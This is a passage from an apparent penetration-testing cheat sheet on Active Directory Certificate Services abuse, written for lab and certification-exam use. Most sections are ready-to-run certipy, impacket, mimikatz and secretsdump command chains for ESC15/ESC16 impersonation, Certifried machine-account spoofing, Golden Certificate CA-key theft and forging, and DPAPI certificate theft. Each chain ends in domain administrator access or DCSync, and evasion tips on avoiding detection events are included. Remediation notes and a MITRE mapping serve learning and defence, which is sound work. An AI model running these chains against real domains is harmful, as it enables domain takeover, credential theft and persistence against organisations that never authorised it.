cert -> Schannel maps it to victim (needs weak mapping methods enabled) 408 ``` 409 410 > [!shield] Remediation 411 > Prefer strong explicit mappings (`X509IssuerSerialNumber`, `X509SHA1PublicKey`, `X509SKI`); audit writes to `altSecurityIdentities` (5136) and disable weak `CertificateMappingMethods` bits. 412 413 ### ESC15 — EKUwu / schema-v1 injection (CVE-2024-49019) 414 415 **What to look for** → **schema version 1** templates (built-ins like `User`, `WebServer`) published on a CA **not patched** with KB5044281 (Oct 2024). v1 templates ignore CSR-supplied application policies — except the vulnerable CA happily processes them, letting you inject `Client Authentication` into any v1 cert. 416 417 ```bash 418 certipy-ad req -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -ca 'CA-NAME' -template 'User' \ 419 -upn "administrator@$DOMAIN" -application-policies 'Client Authentication' 420 ``` 421 422 > [!shield] Remediation 423 > Patch CAs with KB5044281+; prefer schema-v2+ templates; where v1 templates must exist, restrict enrollment ACLs and enable manager approval. 424 425 ### ESC16 — SID extension disabled CA-wide (the Fluffy path) 426 427 **What to look for** → CA line `Security Extension: Disabled` (`ESC16 : Security extension is disabled`), plus I hold `GenericWrite`/`WriteProperty` over any account that can enroll in a client-auth template. This is ESC6's living post-patch successor — SID never gets embedded, so the KDC falls back to UPN mapping regardless of `StrongCertificateBindingEnforcement`. 428 429 **Exploit** — `account` actions are `read`/`update` (no `lookup`), positional at the end: 430 ```bash 431 # 1. Read the current UPN so you can restore it EXACTLY 432 certipy-ad account -u "$U@$DOMAIN" -hashes :$NT -dc-ip $IP -dc-host $DC -user ca_svc read 433 434 # 2. Swap the controlled account's UPN to the target 435 certipy-ad account -u "$U@$DOMAIN" -hashes :$NT -dc-ip $IP -dc-host $DC -user ca_svc -upn administrator update 436 437 # 3. Enroll as that account in any client-auth template -> cert maps by UPN = admin 438 certipy-ad req -u ca_svc -hashes :$CA_NT -dc-ip $IP -target $DC -ca 'CA-NAME' -template User 439 # -> administrator.pfx 440 441 # 4. Restore the UPN IMMEDIATELY (cert stays valid — identity locked at signing) 442 certipy-ad account -u "$U@$DOMAIN" -hashes :$NT -dc-ip $IP -dc-host $DC -user ca_svc -upn "ca_svc@$DOMAIN" update 443 444 # 5. auth tail 445 certipy-ad auth -pfx administrator.pfx -u administrator -domain $DOMAIN -dc-ip $IP 446 ``` 447 448 > [!warning] Watch out 449 > The rapid **4738 pair** (UPN changed → changed back) is the detection fingerprint — keep Steps 2–4 tight. Same chain works for ESC9 (per-template flag) and machine-account variants swap `-dns` instead of `-upn`. 450 451 > [!shield] Remediation 452 > Re-enable the security extension on the CA (don't set `szOID_NTDS_CA_SECURITY_EXT` in `DisableExtensionList`), alert on UPN change-and-revert patterns (4738), and protect enroll-capable service accounts from GenericWrite edges (Stage 06 hygiene). 453 454 --- 455 456 ### Certifried — CVE-2022-26923 (default-config priv-esc) 457 458 **What to look for** → `MachineAccountQuota ≥ 1` (default 10) + unpatched DC (pre-KB5014754, enforcement 0/1) + a `Machine`/`Computer` template domain users can enroll in. No misconfig required — vanilla AD CS is vulnerable. 459 460 **Exploit** — make a computer, spoof its `dNSHostName` to the DC, request a machine cert: 461 ```bash 462 # 1. Create a machine account (needs MAQ > 0) 463 impacket-addcomputer "$DOMAIN/$U:$P" -dc-ip $IP -computer-name 'EVILPC$' -computer-pass 'EvilPass123!' 464 465 # 2. Clear its SPNs (SPN uniqueness blocks the dNSHostName swap otherwise) 466 certipy-ad account -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -user 'EVILPC$' -spns '' update 467 468 # 3. Point dNSHostName at the DC 469 certipy-ad account -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -user 'EVILPC$' -dns "$DC" update 470 471 # 4. Request a Machine cert AS the fake computer — CA reads dNSHostName = the DC 472 certipy-ad req -u "EVILPC\$@$DOMAIN" -p 'EvilPass123!' -dc-ip $IP -dc-host $DC -ca 'CA-NAME' -template 'Machine' 473 # -> dc01.pfx 474 475 # 5. Auth as DC01$ and DCSync 476 certipy-ad auth -pfx dc01.pfx -username 'DC01$' -domain $DOMAIN -dc-ip $IP 477 export KRB5CCNAME='DC01$.ccache' 478 secretsdump.py -k -no-pass $DC 479 ``` 480 Cleanup: `impacket-addcomputer "$DOMAIN/$U:$P" -dc-ip $IP -computer-name 'EVILPC$' -delete`. 481 482 > [!warning] Watch out 483 > `Constraint Violation` on the `-dns` swap = SPNs not cleared, redo Step 2. Blocked entirely if enforcement=2 (`EVILPC$` SID ≠ `DC01$` SID). PKINIT as DC$ from a non-DC IP (4768) is the loud step — move fast, delete the account after. 484 > 485 > **CVE note:** Certifried is **CVE-2022-26923** (machine-account `dNSHostName` spoof). The same May-2022 bundle (KB5014754) also shipped **CVE-2022-26931** (a Kerberos EoP fix) and introduced the `StrongCertificateBindingEnforcement`/`CertificateMappingMethods` hardening that defines the ESC6/9/10/16 landscape. When reporting, cite 26923 for the dNSHostName chain and check KB5014754 presence before promising either works. 486 487 ### Golden Certificate — DPERSIST1 (domain persistence) 488 489 **What to look for** → I already own the box and have **local admin on the CA** with a **software-protected** key (no HSM). This is persistence, not esc — a forged cert survives every password reset and can't be revoked short of rebuilding the CA. 490 491 **Exploit** — steal the CA key once, forge offline forever: 492 ```bash 493 # 1. Dump the CA cert + private key (DPAPI, needs admin on the CA) 494 certipy-ad ca -backup -ca 'CA-NAME' -u "administrator@$DOMAIN" -hashes :$ADMIN_NT -dc-ip $IP -target $IP 495 # -> CA-NAME.pfx (guard this — it IS the domain, offline) 496 497 # 2. Forge a cert for ANY principal, no CA contact, no logs, custom validity 498 certipy-ad forge -ca-pfx 'CA-NAME.pfx' -upn "administrator@$DOMAIN" \ 499 -subject "CN=Administrator,CN=Users,$BASEDN" -out administrator_forged.pfx 500 # add -validity-period 3650 for a 10-year cert; BASEDN e.g. "DC=corp,DC=example,DC=local" 501 502 # 3. Authenticate with the forged cert -> TGT + hash (auth tail) 503 certipy-ad auth -pfx administrator_forged.pfx -username administrator -domain $DOMAIN -dc-ip $IP 504 ``` 505 Windows equivalent: [ForgeCert](https://github.com/GhostPack/ForgeCert) — `ForgeCert.exe --CaCertPath CA-NAME.pfx --Subject "CN=x" --SubjectAltName administrator@$DOMAIN --NewCertPath forged.pfx …` then Rubeus `asktgt /getcredentials`. 506 507 > [!note] Why it's nasty 508 > `forge` is 100% offline — zero CA logs, no request ID, serial number that never existed in the CA DB. Only the initial `backup` (Event ID 70 / DPAPI access on the CA) is noisy. HSM-backed keys defeat it. See also DPERSIST2 — Rogue CA Certificate (NTAuth Injection) and DPERSIST3 — Malicious Misconfiguration (ACL Backdoor). 509 510 > [!shield] Remediation 511 > Protect CA keys with an HSM, tier CA admins like DAs, alert on CA key export (certsvc backup, DPAPI masterkey access), and periodically audit `NTAuthCertificates` for rogue CAs. 512 513 ### Quick hits — ESC2 / ESC13 / ESC15 514 515 ```bash 516 # ESC2 (Any Purpose / No EKU) — the cert authenticates for anything; inject UPN like ESC1 517 certipy-ad req -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -ca 'CA-NAME' -template 'VulnTemplate' -upn "administrator@$DOMAIN" 518 519 # ESC13 (OID→group link) — enroll a linked template; KDC drops the group's SID into your PAC on auth 520 certipy-ad req -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -ca 'CA-NAME' -template 'LinkedPolicyTemplate' 521 certipy-ad auth -pfx lowpriv.pfx -username "$U" -domain $DOMAIN -dc-ip $IP 522 523 # ESC15 / EKUwu (CVE-2024-49019) — inject Client Auth policy into a schema-v1 template CSR 524 certipy-ad req -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -ca 'CA-NAME' -template 'User' \ 525 -upn "administrator@$DOMAIN" -application-policies 'Client Authentication' 526 ``` 527 528 --- 529 530 ## Certificate theft — DPAPI-locked certs on disk (THEFT1–THEFT5) 531 532 **What to look for** → any Windows foothold with users/machines that hold certs in the Windows cert store (`cert:\CurrentUser\My`, `cert:\LocalMachine\My`) or as `.pfx` files in shares/profiles. Stolen certs = authentication material that survives password resets until expiry/revocation. 533 534 ```powershell 535 # SharpDPAPI (staged above) — unwrap user certs via DPAPI masterkeys 536 .\SharpDPAPI.exe certificates # current-user context 537 .\SharpDPAPI.exe certificates /machine # machine store (needs admin) 538 .\SharpDPAPI.exe certificates /pvk:masterkey.pvk # with a looted domain DPAPI backup key 539 # -> prints PEM (cert + private key) 540 ``` 541 542 ```powershell 543 # mimikatz equivalent (cross-ref Stage 10 loot flows) 544 crypto::certificates /export # current-user store -> .pfx 545 crypto::certificates /systemstore:local_machine /store:my /export # machine store 546 dpapi::masterkey /in:"C:\Users\<u>\AppData\Roaming\Microsoft\Protect\<SID>\<guid>" /rpc # fetch masterkey from DC 547 ``` 548 549 **Format juggling** — Certify/SharpDPAPI/mimikatz hand you PEM or PFX; convert as needed: 550 551 | Have → want | Command | 552 | :-- | :-- | 553 | PEM (cert+key) → PFX | `openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx` | 554 | PFX → PEM pair | `openssl pkcs12 -in cert.pfx -out cert.pem -nodes` | 555 | PFX → cert only | `openssl pkcs12 -in cert.pfx -clcerts -nokeys -out cert.crt` | 556 | PFX → key only | `openssl pkcs12 -in cert.pfx -nocerts -nodes -out cert.key` | 557 | inspect | `openssl pkcs12 -in cert.pfx -info -noout` · `openssl x509 -in cert.crt -text -noout` | 558 559 > [!tip] THEFT cheat sheet 560 > THEFT1 = export cert+key via CryptoAPI (`mimikatz crypto::certificates /export`) · THEFT2 = user certs via DPAPI (SharpDPAPI `certificates`) · THEFT3 = machine certs via DPAPI (`/machine`) · THEFT4 = find `.pfx` in shares (Snaffler) · THEFT5 = use PKINIT to UnPAC the hash off a cert (the universal tail above). Full write-ups: _ADCS Attack Methodology Guide. 561 562 ## PKINIT vs Schannel — and the 2016/2022 mapping gotchas 563 564 | | PKINIT (`certipy auth`, Rubeus asktgt) | Schannel (`certipy auth -ldap-shell`, nxc `--pfx-cert`) | 565 | :-- | :-- | :-- | 566 | What you get | TGT **+ NT hash** (UnPAC) | LDAPS session / LDAP shell as the identity | 567 | Requires | DC doing PKINIT (2016+ with ADCS; KDC certs healthy) | DC with LDAPS; cert maps via `CertificateMappingMethods` | 568 | Mapping logic | SID extension → UPN fallback (KB5014754 enforcement applies) | Explicit `altSecurityIdentities` first, then weak methods per registry | 569 | Fails when | Clock skew, no ADCS trust on DC, enforcement=2 + no SID | LDAPS not exposed, strong-mapping-only config | 570 | Choose when | You want a reusable TGT/hash (almost always) | PKINIT blocked or you only need LDAP writes (e.g. finish an ESC4 from LDAP shell) | 571 572 > [!warning] DC OS gotchas 573 > - **Server 2016/2019 DCs** often run with `StrongCertificateBindingEnforcement` absent (=0, off) or in compatibility (=1) — weak UPN mapping works and ESC6/9/16 chains land. 574 > - **Server 2022+ / fully patched** estates trending to enforcement=2 reject any cert without the SID extension or a strong explicit mapping — classic ESC1/ESC6 certs stop authenticating; pivot to ESC16 (if the CA disabled the extension), Certifried (pre-patch), or theft/persistence paths. 575 > - `CertificateMappingMethods = 0x1F` (default) keeps weak Schannel methods on even when PKINIT enforces — pass-the-cert via LDAPS may still work when `auth` fails. 576 > - Always check **both** registries (Kdc + Schannel) before declaring a mapping attack dead — they're independent switches. 577 578 > [!tip] Shadow Credentials — the ACL-only bypass 579 > If I hold `GenericWrite`/`GenericAll` over a target but ADCS templates are locked down, skip certs entirely: plant a Key Credential and PKINIT as them. `certipy-ad shadow auto -u "$U@$DOMAIN" -p "$P" -account 'target' -dc-ip $IP -dc-host $DC -ns $IP`. Full write-up: Shadow Credentials — msDS-KeyCredentialLink Abuse and [Stage 06](/sheets/pentest-workflow/acl-and-object-abuse). 580 581 --- 582 583 ## 🛡️ OPSEC — what's logged, what to clean 584 585 | Action | Telemetry | Cleanup | 586 | :-- | :-- | :-- | 587 | Cert request issued | CA events **4886** (request received) / **4887** (issued), request IDs in CA DB | Revoke: `certutil -config "CA" -revoke <serial> 5`; delete row via `certsrv.msc` if you have CA admin | 588 | Denied request (ESC7 dance) | **4888** denied + your `-issue-request` approval | Deny/remove the request; remove officer + disable template | 589 | Template modified (ESC4) | **4899**/**4900** template change | Restore from saved JSON immediately | 590 | UPN swap (ESC9/16) | **4738** user changed (twice) | Keep window tight; restore exact original value | 591 | Relay/coercion (ESC8/11) | SMB 4624/4627 from coerced host, network NTLM to CA | Nothing to clean on CA; expect IR questions | 592 | Machine account created (Certifried) | **4741** computer created | Delete `EVILPC$` | 593 | CA backup (DPERSIST1) | certsvc backup events, DPAPI masterkey access (4662/4663 on CA) | The stolen CA key is forever — disclose in report | 594 | Cert theft (THEFT) | DPAPI blob access, EDR on LSASS-adjacent tooling | Nothing persistent; delete exported files | 595 596 > [!warning] Golden rules 597 > - Every issued cert is **valid until expiry** — deleting the request row doesn't kill the cert; revoke by serial number. 598 > - Certificate authentication bypasses password policy, smart-card-only flags are rare, and a stolen/forged cert survives password resets — treat every issued admin cert as a standing credential for the report. 599 > - Prefer `-stdout` triage and targeted `req` over mass enrollment; each 4887 is a breadcrumb. 600 > - Time-sync before PKINIT; nothing screams "attacker" like a burst of `KRB_AP_ERR_SKEW` failures. 601 602 ## 🎯 MITRE ATT&CK mapping 603 604 | Technique | ID | Where used here | 605 | :-- | :-- | :-- | 606 | Steal or Forge Authentication Certificates | T1649 | ESC1–ESC16 issuance abuse | 607 | Unsecured Credentials: Private Keys | T1552.004 | THEFT1–4, CA key theft | 608 | Create Account: Computer Account | T1136.001 | Certifried / RBCD machine accounts | 609 | Account Manipulation | T1098 | UPN/`dNSHostName` swaps, `altSecurityIdentities` | 610 | Pass the Ticket | T1550.003 | Spending `.ccache` after `auth` | 611 | Use Alternate Authentication Material: Pass the Hash | T1550.002 | NT hash from UnPAC | 612 | Adversary-in-the-Middle: NTLM Relay | T1557.001 | ESC8/ESC11 relays | 613 | Valid Accounts | T1078 | Authenticating as victim via cert | 614 615 > [!tip] CPTS exam tips 616 > - Triage order: `certipy find -vulnerable -stdout` → if clean, `-enabled` and read template flags by hand (ESC9/13/15/16 hide there) → registry checks (enforcement + CertificateMappingMethods) → patch level. 617 > - **Fluffy-style** chains dominate: Stage-06 ACL edge (GenericWrite) → shadow creds or UPN-swap (ESC16) → admin cert → DCSync. ADCS questions usually start one stage earlier. 618 > - `certipy req` NetBIOS timeout? Re-run. `KRB_AP_ERR_SKEW`? `faketime`. `no object SID`? Only fatal at enforcement=2. 619 > - Keep the CA name EXACT (`CA-NAME` not `CA-NAME.domain.local`) in `-ca` flags — copy it from `find` output. 620 > - Cross-links: [Stage 06 — ACL Abuse](/sheets/pentest-workflow/acl-and-object-abuse) (the GenericWrite edges that feed ESC9/16/shadow creds) · [Stage 03](/sheets/pentest-workflow/service-enumeration) (coercion primitives for ESC8/11) · [Stage 05 — Kerberos](/sheets/pentest-workflow/kerberos-attacks) (PKINIT/UnPAC internals) · [Stage 08](/sheets/pentest-workflow/password-attacks-and-credential-hunting) (when the answer is a hash, not a cert) · [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot) (spending the DA hash). 621 622 --- 623 624 > [!navigation] Continue the attack flow 625 > **Previous:** [Stage 06 — ACL and Object Abuse](/sheets/pentest-workflow/acl-and-object-abuse) 626 > 627 > **Dashboard:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard) 628 > 629 > **Next:** [Stage 08 — Password Attacks and Credential Hunting](/sheets/pentest-workflow/password-attacks-and-credential-hunting)